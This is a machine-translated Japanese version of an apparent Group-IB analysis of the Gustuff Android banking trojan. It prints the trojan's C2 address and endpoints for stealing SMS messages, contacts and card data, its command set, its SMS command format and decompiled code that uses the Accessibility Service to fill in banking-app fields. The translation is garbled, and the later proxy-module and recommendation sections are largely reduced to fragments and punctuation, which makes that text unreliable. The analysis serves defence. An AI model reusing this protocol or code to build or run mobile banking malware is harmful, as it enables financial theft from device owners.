先日、Group-IBはAndroidモバイルTrojan Gustuffの活動について
報告しました。 これは、国際市場で独占的に機能し、100の外資系銀行の顧客、32のモバイル暗号化ウォレットのユーザー、および大規模なeコマースリソースを攻撃します。 しかし、開発者のGustuffは、Bestofferというニックネームでロシア語を話すサイバー犯罪者です。 最近まで、彼は自分のトロイの木馬を「知識と経験のある人々にとって真剣な製品」と称賛していました。
Group-IBの悪意のあるコードを分析する専門家である
Ivan Pisarevは、 Gustuffがどのように機能し、どのような危険性があるのかを詳しく調べています。
Gustuffは誰を探していますか?
Gustuffは、完全に自動化された機能を備えた新世代のマルウェアです。 開発者によると、トロイの木馬はAndyBotマルウェアの新しい改良バージョンになり、2017年11月以降、有名な国際銀行や決済システムのモバイルアプリケーションを装ったフィッシングWebフォームを介してAndroid携帯電話を攻撃し、お金を盗んでいます。 Bestofferは、Gustuff Botのレンタル価格が月額800ドルであると報告しました。
Gustuffサンプルの分析は、トロイの木馬が、バンクオブアメリカ、バンクオブスコットランド、JPモルガン、ウェルズファーゴ、キャピタルワン、TDバンク、PNC銀行、ビットコインウォレット、BitPay暗号ウォレットなどの最大の銀行のモバイルアプリケーションを使用している可能性があることを示しました、Cryptopay、Coinbaseなど。
もともとは古典的な銀行のトロイの木馬として作成されたGustuffの現在のバージョンは、潜在的な攻撃対象のリストを大幅に拡張しています。 Gustuffは、銀行、フィンテック企業、暗号サービスのAndroidアプリケーションに加えて、市場アプリケーション、オンラインストア、決済システム、インスタントメッセンジャーのユーザーを対象としています。 特に、PayPal、Western Union、eBay、Walmart、Skype、WhatsApp、Gett Taxi、Revolutなど。
エントリポイント:大量感染の計算
Gustuffの特徴は、APKへのリンクを含むSMSメーリングによるAndroidスマートフォンへの「古典的な」侵入のベクトルです。 Androidデバイスがサーバーのコマンドでトロイの木馬に感染している場合、Gustuffは感染した電話の連絡先データベースまたはサーバーのデータベースを介してさらに広がる可能性があります。 Gustuffの機能は、大規模な感染とその事業者の事業の最大の資本化のために設計されています-正当なモバイルバンキングアプリケーションと暗号ウォレットへの「自動入力」という独自の機能があり、これにより、盗難を加速および拡大することができます。
このトロイの木馬の調査では、障害者向けのサービスであるアクセシビリティサービスを使用して、自動入力機能が実装されていることが示されました。 Gustuffは、このAndroidサービスを使用する他のアプリケーションのウィンドウ要素との相互作用に対する保護を正常にバイパスする最初のトロイの木馬ではありません。 ただし、自動読み込みと併せてアクセシビリティサービスを使用することは依然として非常にまれです。
被害者を電話にダウンロードした後、アクセシビリティサービスを使用してGustuffは、他のアプリケーション(銀行、暗号通貨、オンラインショッピング、メッセージングなどのアプリケーション)のウィンドウ要素と対話する機会を得て、攻撃者に必要なアクションを実行します。 たとえば、サーバーのコマンドで、トロイの木馬はボタンをクリックして、銀行業務アプリケーションのテキストフィールドの値を変更できます。 Accessibility Serviceメカニズムを使用することにより、トロイの木馬は、銀行が過去の世代のモバイル世代に対抗するために使用する保護メカニズム、およびAndroid OSの新しいバージョンでGoogleによって導入されたセキュリティポリシーの変更をバイパスできます。 そのため、GustuffはGoogle Protect保護を無効にする方法を「知っています」:著者によると、この機能は70%のケースで機能します。
Gustuffは、正当なモバイルアプリケーションのアイコンで偽のPUSH通知を表示することもできます。 ユーザーはPUSH通知をクリックすると、サーバーからダウンロードされたフィッシングウィンドウが表示され、そこで自分が銀行カードまたは暗号ウォレットの要求されたデータを入力します。 別のGustuffシナリオでは、PUSH通知が表示された代わりにアプリケーションが開きます。 この場合、悪意のあるプログラムは、アクセシビリティサービスを介したサーバーのコマンドに応じて、不正なトランザクションの銀行業務アプリケーションのフォームフィールドに入力できます。
Gustuffの機能には、感染したデバイスに関する情報のサーバーへの送信、SMSメッセージの読み取り/送信、USSDリクエストの送信、SOCKS5プロキシの起動、リンクの追跡、サーバーへのファイル送信(ドキュメント、スクリーンショット、写真を含む)も含まれますデバイスを工場出荷時設定にリセットします。
マルウェア分析
悪意のあるアプリケーションをインストールする前に、Android OSはGustuffによって要求された権限のリストを含むウィンドウをユーザーに表示します。
アプリケーションのインストールは、ユーザーの同意を得た後にのみ行われます。 アプリケーションを起動すると、トロイの木馬はユーザーにウィンドウを表示します。
次に、そのアイコンを削除します。
著者によると、GustuffはFTTパッカーによってパッケージ化されています。 起動後、アプリケーションは定期的にCnCサーバーに接続してコマンドを受信します。 調査したファイルのいくつかでは、IPアドレス
88.99.171 [。] 105が制御サーバーとして使用されました(以下、これを
<%CnC%>と表記します)。
開始後、プログラムはサーバー
http:// <%CnC%> /api/v1/get.phpへのメッセージの送信を開始します。
答えとして、JSONは次の形式で期待されます。
{ "results" : "OK", "command":{ "id": "<%id%>", "command":"<%command%>", "timestamp":"<%Server Timestamp%>", "params":{ <%Command parameters as JSON%> }, }, }
アプリケーションが感染したデバイスに関する情報を送信するたび。 メッセージの形式は次のとおりです。
full 、
extra 、
apps 、および
permissionフィールドはオプションであり、CnCからのリクエストコマンドの場合にのみ送信されることに注意してください。
{ "info": { "info": { "cell":<%Sim operator name%>, "country":<%Country ISO%>, "imei":<%IMEI%>, "number":<%Phone number%>, "line1Number":<%Phone number%>, "advertisementId":<%ID%> }, "state": { "admin":<%Has admin rights%>, "source":<%String%>, "needPermissions":<%Application needs permissions%>, "accesByName":<%Boolean%>, "accesByService":<%Boolean%>, "safetyNet":<%String%>, "defaultSmsApp":<%Default Sms Application%>, "isDefaultSmsApp":<%Current application is Default Sms Application%>, "dateTime":<%Current date time%>, "batteryLevel":<%Battery level%> }, "socks": { "id":<%Proxy module ID%>, "enabled":<%Is enabled%>, "active":<%Is active%> }, "version": { "versionName":<%Package Version Name%>, "versionCode":<%Package Version Code%>, "lastUpdateTime":<%Package Last Update Time%>, "tag":<%Tag, default value: "TAG"%>, "targetSdkVersion":<%Target Sdk Version%>, "buildConfigTimestamp":1541309066721 }, }, "full": { "model":<%Device Model%>, "localeCountry":<%Country%>, "localeLang":<%Locale language%>, "accounts":<%JSON array, contains from "name" and "type" of accounts%>, "lockType":<%Type of lockscreen password%> }, "extra": { "serial":<%Build serial number%>, "board":<%Build Board%>, "brand":<%Build Brand%>, "user":<%Build User%>, "device":<%Build Device%>, "display":<%Build Display%>, "id":<%Build ID%>, "manufacturer":<%Build manufacturer%>, "model":<%Build model%>, "product":<%Build product%>, "tags":<%Build tags%>, "type":<%Build type%>, "imei":<%imei%>, "imsi":<%imsi%>, "line1number":<%phonenumber%>, "iccid":<%Sim serial number%>, "mcc":<%Mobile country code of operator%>, "mnc":<%Mobile network codeof operator%>, "cellid":<%GSM-data%>, "lac":<%GSM-data%>, "androidid":<%Android Id%>, "ssid":<%Wi-Fi SSID%> }, "apps":{<%List of installed applications%>}, "permission":<%List of granted permissions%> }
構成データの保存
Gustuffは、重要な作業情報を設定ファイルに保存します。 ファイル名とその中のパラメーター名は、行
15413090667214.6.1 <%name%>からMD5合計を計算した結果です。ここで、
<%name%>は元の名前値です。 名前生成関数のPython解釈:
nameGenerator(input): output = md5("15413090667214.6.1" + input)
将来的には、
nameGenerator(input)として
指定します 。
したがって、最初のファイルの名前は
nameGenerator( "API_SERVER_LIST")であり、次の名前の値が含まれています。
変数名 | 価値 |
---|
nameGenerator( "API_SERVER_LIST") | CnCアドレスのリストが配列として含まれています。 |
nameGenerator( "API_SERVER_URL") | CnCアドレスが含まれます。 |
nameGenerator( "SMS_UPLOAD") | フラグはデフォルトで設定されています。 フラグが設定されている場合-SMSメッセージをCnCに送信します。 |
nameGenerator( "SMS_ROOT_NUMBER") | 感染したデバイスが受信したSMSメッセージの送信先の電話番号。 デフォルトはヌルです。 |
nameGenerator( "SMS_ROOT_NUMBER_RESEND") | フラグはデフォルトでクリアされます。 インストールされている場合、感染したデバイスがSMSを受信すると、ルート番号に送信されます。 |
nameGenerator( "DEFAULT_APP_SMS") | フラグはデフォルトでクリアされます。 このフラグが設定されている場合、アプリケーションは着信SMSメッセージを処理します。 |
nameGenerator( "DEFAULT_ADMIN") | フラグはデフォルトでクリアされます。 フラグが設定されている場合、アプリケーションには管理者権限があります。 |
nameGenerator( "DEFAULT_ACCESSIBILITY") | フラグはデフォルトでクリアされます。 フラグが設定されている場合、アクセシビリティサービスを使用するサービスが開始されます。 |
nameGenerator( "APPS_CONFIG") | JSONオブジェクトには、特定のアプリケーションに関連付けられたアクセシビリティイベントがトリガーされたときに実行する必要があるアクションのリストが含まれています。 |
nameGenerator( "APPS_INSTALLED") | デバイスにインストールされているアプリケーションのリストを保存します。 |
nameGenerator( "IS_FIST_RUN") | フラグは最初の起動時にリセットされます。 |
nameGenerator( "UNIQUE_ID") | 一意の識別子が含まれます。 ボットの最初の起動時に生成されます。 |
サーバーコマンド処理モジュール
アプリケーションは、
Base85エンコード文字列の配列として
CnCサーバーのアドレスを保存します。 CnCサーバーのリストは、対応するコマンドの受信時に変更できます。この場合、アドレスは設定ファイルに保存されます。
要求への応答で、サーバーはコマンドをアプリケーションに送信します。 コマンドとパラメーターがJSON形式で表示されることに注意してください。 アプリケーションは次のコマンドを処理できます。
チーム | 説明 |
---|
forwardStart | 感染したデバイスが受信したSMSメッセージをCnCサーバーに送信し始めます。 |
forwardStop | 感染したデバイスが受信したSMSメッセージのCnCサーバーへの送信を停止します。 |
usddRun | USSDリクエストを実行します。 USSDリクエストを作成する番号は、JSONフィールドの「番号」にあります。 |
sendSms | 1つのSMSメッセージを送信します(必要な場合、メッセージは部分に「分割」されます)。 パラメーターとして、コマンドは、「to」フィールド(宛先番号と「body」)を含むJSONオブジェクトを受け入れます-メッセージ本文。 |
sendSmsAb | 感染したデバイスの連絡先リストの全員にSMSメッセージを送信します(必要な場合、メッセージは「分割」されます)。 メッセージを送信する間隔は10秒です。 メッセージの本文はJSONフィールド「body」にあります |
sendSmsMass | コマンドパラメーターで指定された連絡先にSMSメッセージを送信します(必要な場合、メッセージは「分割」されます)。 メッセージを送信する間隔は10秒です。 パラメーターとして、コマンドはJSON配列(フィールド「sms」)を受け入れます。この配列の要素には、フィールド「to」-宛先番号と「body」-メッセージ本文が含まれます。 |
changeServer | パラメーターとしてのこのコマンドは、キー「url」を持つ値を取ることができます。次に、ボットはnameGenerator(「SERVER_URL」)または「array」の値を変更します。次に、ボットはnameGenerator |
adminNumber | このコマンドは、ルート番号で機能するように設計されています。 このコマンドは、次のパラメーターを持つJSONオブジェクトを受け入れます。「number」-nameGenerator(「ROOT_NUMBER」)を受信した値に変更、「resend」-nameGeneratorを変更(「SMS_ROOT_NUMBER_RESEND」)、「sendId」-nameGenerator(「ROOT_NUMBER」)uniqueIDに送信 |
updateInfo | 感染したデバイスに関する情報をサーバーに送信します。 |
ワイプデータ | このコマンドは、ユーザーデータを削除するように設計されています。 アプリケーションが起動された名前に応じて、デバイスの再起動でデータが完全に消去されるか(プライマリユーザー)、またはユーザーデータのみ(セカンダリユーザー)が削除されます。 |
靴下 | プロキシモジュールを起動します。 モジュールの操作については、別のセクションで説明します。 |
靴下 | プロキシモジュールを停止します。 |
openLink | リンクをたどってください。 リンクは、キー「url」によってJSONパラメーターにあります。 リンクを開くには、「android.intent.action.VIEW」を使用します。 |
uploadAllSms | デバイスが受信したすべてのSMSメッセージをサーバーに送信します。 |
uploadAllPhotos | 感染したデバイスからURLに画像を送信します。 URLはパラメーターとして提供されます。 |
uploadFile | 感染したデバイスからURLにファイルを送信します。 URLはパラメーターとして提供されます。 |
uploadPhoneNumbers | 連絡先リストからサーバーに電話番号を送信します。 「ab」キーを持つJSONオブジェクトがパラメーターとして提供される場合、アプリケーションは電話帳から連絡先のリストを受け取ります。 「sms」キーを持つJSONオブジェクトがパラメーターとして提供される場合、アプリケーションはSMSメッセージの送信者から連絡先リストを読み取ります。 |
changeArchive | アプリケーションは、アドレスからファイルをダウンロードします。これは、キー「url」を持つパラメーターとして提供されます。 ダウンロードしたファイルは、「archive.zip」という名前で保存されます。 その後、必要に応じて、アプリケーションはアーカイブ「b5jXh37gxgHBrZhQ4j3D」のパスワードを使用してファイルを解凍します。 解凍されたファイルは[外部ストレージ] / hgpsディレクトリに保存されます。 このディレクトリに、アプリケーションはWeb偽物(後述)を格納します。 |
アクション | このコマンドは、別のセクションで説明されているアクションサービスで動作するように設計されています。 |
テストする | 何もしません。 |
ダウンロードする | このコマンドは、リモートサーバーからファイルをダウンロードし、ダウンロードディレクトリに保存するように設計されています。 URLとファイル名は、それぞれJSONオブジェクトパラメーターのフィールドであるパラメーターとして提供されます: "url"と "fileName"。 |
取り除く | ダウンロードディレクトリからファイルを削除します。 ファイル名は、キー「fileName」とともにJSONパラメーターに含まれます。 デフォルトのファイル名は「tmp.apk」です。 |
通告 | 管理サーバーによって定義された説明とタイトルテキストを含む通知を表示します。 |
通知コマンドの形式は次のとおりです。
{ "results" : "OK", "command":{ "id": <%id%>, "command":"notification", "timestamp":<%Server Timestamp%>, "params":{ "openApp":<%Open original app or not%>, "array":[ {"title":<%Title text%>, "desc":<%Description text%>, "app":<%Application name%>} ] }, }, }
調査対象のファイルによって生成された通知は、
appフィールドで指定されたアプリケーションによって作成された通知と同一に見えます。
openAppフィールドの値がTrueの場合、通知が開かれると、
appフィールドで指定された
アプリケーションが起動されます。
openAppフィールドの値がFalseの場合:
- フィッシングウィンドウが開き、その内容は<%external storage%> / hgps / <%filename%>ディレクトリからダウンロードされます
- フィッシングウィンドウが開き、そのコンテンツはサーバーからダウンロードされます<%url%>?id = <%Bot id%>&app = <%Application name%>
- Google Playカードを装ったフィッシングウィンドウが開き、カード情報を入力できます。
アプリケーションは、コマンドの実行結果を次の形式のJSONオブジェクトとして
<%CnC%> \ set_state.phpに送信します。
{ "command": { "command":<%command%>, "id":<%command_id%>, "state":<%command_state%> } "id":<%bot_id%> }
ActionsServiceアプリケーションが処理するコマンドのリストには
actionが含まれ
ます 。 コマンドを受信すると、コマンド処理モジュールはこのサービスにアクセスして、拡張コマンドを実行します。 サービスはパラメーターとしてJSONオブジェクトを受け入れます。 サービスは次のコマンドを実行できます。
1. PARAMS_ACTION-このようなコマンドを受け取ると、サービスはまずJSONパラメーターからTypeキーの値を受け取ります。次のようになります。
- serviceInfo-サブコマンドは、JSONパラメーターからincludeNotImportantキーの値を受け取ります。 フラグがTrueの場合、アプリケーションは、アクセシビリティサービスを使用するサービスにFLAG_ISOLATED_PROCESSフラグを設定します。 したがって、サービスは別のプロセスで起動されます。
- root-現在フォーカスされているウィンドウに関する情報を取得してサーバーに送信します。 アプリケーションは、AccessibilityNodeInfoクラスを使用して情報を取得します。
- admin-管理者権限をリクエストします。
- delay-「data」キーを使用してパラメーターで指定されたミリ秒数の間、ActionsServiceを中断します。
- windows-ユーザーに見えるウィンドウのリストを送信します。
- インストール -感染したデバイスにアプリケーションをインストールします。 パッケージの名前-アーカイブはキー「fileName」にあります。 アーカイブ自体は、ダウンロードディレクトリにあります。
- global-サブコマンドは、現在のウィンドウからの移行を目的としています。
- [クイック設定]メニュー
- 戻る
- ホーム
- 通知へ
- 最近開いたアプリケーションのウィンドウへ
- launch-アプリケーションを起動します。 アプリケーションの名前は、 データキーのパラメーターとして提供されます。
- サウンド -サウンドモードを無音に変更します。
- ロック解除 -画面とキーボードのバックライトを最大輝度でオンにします。 アプリケーションは、WakeLock、文字列[Application lable]:INFOを使用してこのアクションを実行します
- permissionOverlay-関数は実装されていません(コマンドの実行に対する応答は{"message": "Not support"}または{"message": "low sdk"}です)
- ジェスチャー -関数は実装されていません(コマンドの実行に対する応答は{"message": "Not support"}または{"message": "Low API"}です)
- 許可 -このコマンドは、アプリケーションの許可を要求するために必要です。 ただし、クエリ関数は実装されていないため、コマンドは意味がありません。 要求された権利のリストは、キー「permissions」を持つJSON配列として提供されます。 標準リスト:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- open-フィッシングウィンドウを表示します。 サーバーからのパラメーターに応じて、アプリケーションは次のフィッシングウィンドウを表示する場合があります。
- 内容がディレクトリ<%external directory%> / hgps / <%param_filename%>のファイルに書き込まれているフィッシングウィンドウを表示します。 ユーザーがウィンドウを操作した結果は、 <%CnC%> / records.phpに送信されます
- コンテンツがアドレス<%url_param%>からプリロードされているフィッシングウィンドウを表示しますか?Id = <%bot_id%>&app = <%packagename%> ユーザーがウィンドウを操作した結果は、 <%CnC%> / records.phpに送信されます
- Google Playカードを装ったフィッシングウィンドウを表示します。
- interactive-コマンドは、AcessibilityServiceを使用して他のアプリケーションのウィンドウ要素と対話するように設計されています。 対話のために、特別なサービスがプログラムに実装されています。 調査中のアプリケーションは、ウィンドウと対話できます。
- 現在アクティブです。 この場合、パラメーターには、対話する必要があるオブジェクトのIDまたはテキスト(名前)が含まれます。
- コマンドが実行されたときにユーザーに表示されます。 アプリケーションはIDでウィンドウを選択します。
目的のウィンドウ要素のAccessibilityNodeInfoオブジェクトを受け取ったアプリケーションは、パラメーターに応じて、アクションを実行できます。
- focus-オブジェクトにフォーカスを設定します。
- クリック-オブジェクトをクリックします。
- actionId-IDでアクションを実行します。
- setText-オブジェクトのテキストを変更します。 テキストは2つの方法で変更できます: ACTION_SET_TEXTアクションを実行する(感染したデバイスのAndroidバージョンがLOLLIPOP以下の場合)、またはクリップボードに行を配置してオブジェクトに貼り付ける(古いバージョンの場合)。 このコマンドは、銀行業務アプリケーションのデータを変更するために使用できます。
2. PARAMS_ACTIONS -
PARAMS_ACTIONと同じ
ですが 、コマンドのJSON配列のみが付属します。
多くの人が、別のアプリケーションのウィンドウ要素と対話する機能がどのように見えるかに興味を持つようです。 これは、この機能がGustuffで実装される方法です。
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) { int count = action.optInt("repeat", 1); Iterator aiListIterator = ((Iterable)aiList).iterator(); int count = 0; while(aiListIterator.hasNext()) { Object ani = aiListIterator.next(); if(1 <= count) { int index; for(index = 1; true; ++index) { if(action.has("focus")) { if(((AccessibilityNodeInfo)ani).performAction(1)) { ++count; } } else if(action.has("click")) { if(((AccessibilityNodeInfo)ani).performAction(16)) { ++count; } } else if(action.has("actionId")) { if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) { ++count; } } else if(action.has("setText")) { customHeader ch = CustomAccessibilityService.a; Context context = this.getApplicationContext(); String text = action.optString("setText"); if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) { ++count; } } if(index == count) { break; } } } ((AccessibilityNodeInfo)ani).recycle(); } res.addPropertyNumber("res", Integer.valueOf(count)); }
テキスト置換機能:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) { boolean result; if(Build$VERSION.SDK_INT >= 21) { Bundle b = new Bundle(); b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text)); result = ani.performAction(0x200000, b);
したがって、コントロールサーバーが正しく構成されていれば、Gustuffは銀行業務アプリケーションのテキストフィールドに入力し、トランザクションに必要なボタンをクリックすることができます。 このトロイの木馬は、アプリケーションで認証される必要さえありません。以前にインストールされた銀行アプリケーションを開いた後、PUSH通知を示すコマンドを送信するだけです。 ユーザーは承認を受け、その後Gustuffが自動入力できるようになります。
SMS処理モジュール
アプリケーションは、感染したデバイスによるSMSメッセージを受け入れるようにイベントハンドラーを設定します。 調査対象のアプリケーションは、SMSメッセージの本文に含まれるコマンドをオペレーターから受信できます。 コマンドの形式は次のとおりです。
7!5 = <%Base64エンコードコマンド%>アプリケーションは、すべての着信SMSメッセージで行
7を検索します
!5 = 、行を検出すると、オフセット4の行をBase64からデコードし、コマンドを実行します。 コマンドは、CnCを使用したコマンドに似ています。 実行結果は、コマンドの送信元と同じ番号に送信されます。 回答形式:
7 * 5 = <%「result_codeコマンド」のBase64エンコード%>オプションで、アプリケーションは受信したすべてのメッセージをルート番号に送信できます。 これを行うには、設定ファイルでルート番号を指定し、メッセージリダイレクトフラグを設定する必要があります。 SMSメッセージは、次の形式で攻撃者の番号に送信されます。
<%From number%>-<%Time、format:dd / MM / yyyy HH:mm:ss%> <%SMS body%>また、オプションで、アプリケーションはメッセージをCnCに送信できます。 SMSメッセージは、JSON形式でサーバーに送信されます。
{ "id":<%BotID%>, "sms": { "text":<%SMS body%>, "number":<%From number%>, "date":<%Timestamp%> } }
nameGeneratorフラグ
( "DEFAULT_APP_SMS")が設定されている場合、アプリケーションはSMSメッセージの処理を停止し、着信メッセージのリストをクリアします。
プロキシモジュール
検討中のアプリケーションには、バックコネクトプロキシモジュール(以下、プロキシモジュールと呼びます)があります。これには、構成を持つ静的フィールドを含む別のクラスがあります。 構成データは、開いた形式でサンプルに保存されます。
Proxy-moduleによって実行されるすべてのアクションはファイルに記録されます。 これを行うために、外部ストレージのアプリケーションは、「logs」という名前のディレクトリ(構成クラスのProxyConfigClass.logsDirフィールド)を作成し、そこにログファイルを保存します。 ロギングは次の名前のファイルで発生します。
- main.txt-このクラスは、CommandServerという名前のクラスの操作を記録します。 将来、このファイルへの文字列strのロギングは、mainLog(str)として示されます。
- session-<%id%>。txt-特定のプロキシセッションに関連付けられたログデータがこのファイルに保存されます。 このファイルへの文字列strのさらなるログ記録は、sessionLog(str)と呼ばれます。
- server.txt-このファイルは、上記のファイルに書き込まれたすべてのデータを記録します。
ログデータ形式:
<%Date%> [スレッド[<%スレッドid%>]、id []]:ログ文字列
プロキシモジュールの操作中に発生した例外もファイルに記録されます。 このために、アプリケーションはJSON形式のオブジェクトを生成します。
{ "uncaughtException":<%short description of throwable%> "thread":<%thread%> "message":<%detail message of throwable%> "trace": //Stack trace info [ { "ClassName": "FileName": "LineNumber": "MethodName": }, { "ClassName": "FileName": "LineNumber": "MethodName": } ] }
次に、それを文字列表現とログに変換します。
プロキシモジュールは、対応するチームの受領後に起動されます。 Proxyモジュールを起動するコマンドが到着すると、アプリケーションは
MainServiceというサービスを起動します
。MainServiceは、Proxyモジュールの動作(起動と停止)の制御を担当します。
サービスを開始する段階:
1. 1分に1回動作するタイマーを開始し、プロキシモジュールのアクティビティをチェックします。 モジュールがアクティブでない場合、モジュールを開始します。
また、
android.net.conn.CONNECTIVITY_CHANGEイベントがトリガーされると、プロキシモジュールが起動します。
2.アプリケーションは、
PARTIAL_WAKE_LOCKパラメーターを使用して
ウェイクロックを作成し、キャプチャします。 したがって、デバイスのCPUがスリープモードに入ることはできません。
3. mainLog行
(「サーバーの開始」)を記録してプロキシモジュールコマンド処理クラスを実行し、
サーバー:: start()ホスト[<%proxy_cnc%>]、commandPort [<%command_port%>]、proxyPort [<%proxy_port%>]ここで、
proxy_cnc、command_port、proxy_portは、プロキシサーバー構成から取得したパラメーターです。
コマンド処理クラスは
CommandConnectionと呼ばれます。 起動直後に、次のアクションを実行します。
4. ProxyConfigClass.host:ProxyConfigClass.commandPortに接続し、そこに感染したデバイスに関するデータをJSON形式で送信します。
{ "id":<%id%>, "imei":<%imei%>, "imsi":<%imsi%>, "model":<%model%>, "manufacturer":<%manufacturer%>, "androidVersion":<%androidVersion%>, "country":<%country%>, "partnerId":<%partnerId%>, "packageName":<%packageName%>, "networkType":<%networkType%>, "hasGsmSupport":<%hasGsmSupport%>, "simReady":<%simReady%>, "simCountry":<%simCountry%>, "networkOperator":<%networkOperator%>, "simOperator":<%simOperator%>, "version":<%version%> }
どこで:
- id-「x」という名前の共有設定ファイルから「id」フィールドの値を取得しようとする識別子。 この値を取得できなかった場合、新しい値が生成されます。 , Proxy- ̆ , ̆ Bot ID.
- imei — IMEI ̆. — .
- imsi — International Mobile Subscriber Identity ̆. — .
- model — The end-user-visible name for the end product.
- manufacturer — The manufacturer of the product/hardware (Build.MANUFACTURER).
- androidVersion — "<%release_version%> (<%os_version%>),<%sdk_version%>"
- country — ̆.
- partnerId – .
- packageName – package name.
- networkType — (: «WIFI», «MOBILE»). null.
- hasGsmSupport – true – GSM, false.
- simReady – SIM-.
- simCountry — ISO- ( ̆ -).
- networkOperator — . — .
- simOperator — The Service Provider Name (SPN). — .
- version — -, ̆ «1.6».
5. . :
- 0 offset – command
- 1 offset – sessionId
- 2 offset – length
- 4 offset — data
:
mainLog(«Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }»):
お名前 | コマンド | データ | 説明 |
---|
connectionId | 0 | Connection ID | |
SLEEP | 3 | Time | Proxy- |
PING_PONG | 4 | - | PONG- |
PONG- 4 :
0x04000000 .
connectionId ( )
CommandConnection ProxyConnection .
- : ProxyConnection end . ProxyConnection ProxyConfigClass.host : ProxyConfigClass.proxyPort JSON-:
{ "id":<%connectionId%> }
SOCKS5-, , . ̆
end . :
̆
̆ CnC- SSL. JSON-. :
- http://<%CnC%>/api/v1/set_state.php — .
- http://<%CnC%>/api/v1/get.php — .
- http://<%CnC%>/api/v1/load_sms.php — SMS-̆ ̆.
- http://<%CnC%>/api/v1/load_ab.php — ̆.
- http://<%CnC%>/api/v1/aevents.php – , preference-̆.
- http://<%CnC%>/api/v1/set_card.php — , -, Google Play Market.
- http://<%CnC%>/api/v1/logs.php – -.
- http://<%CnC%>/api/v1/records.php – , .
- http://<%CnC%>/api/v1/set_error.php – ̆ .
推奨事項
, , .
, . , , .
– - , , -, , , , , .
:
- Android - , Google Play;
- ;
- Android;
- ;
- ;
- , SMS-.
, Group-IB.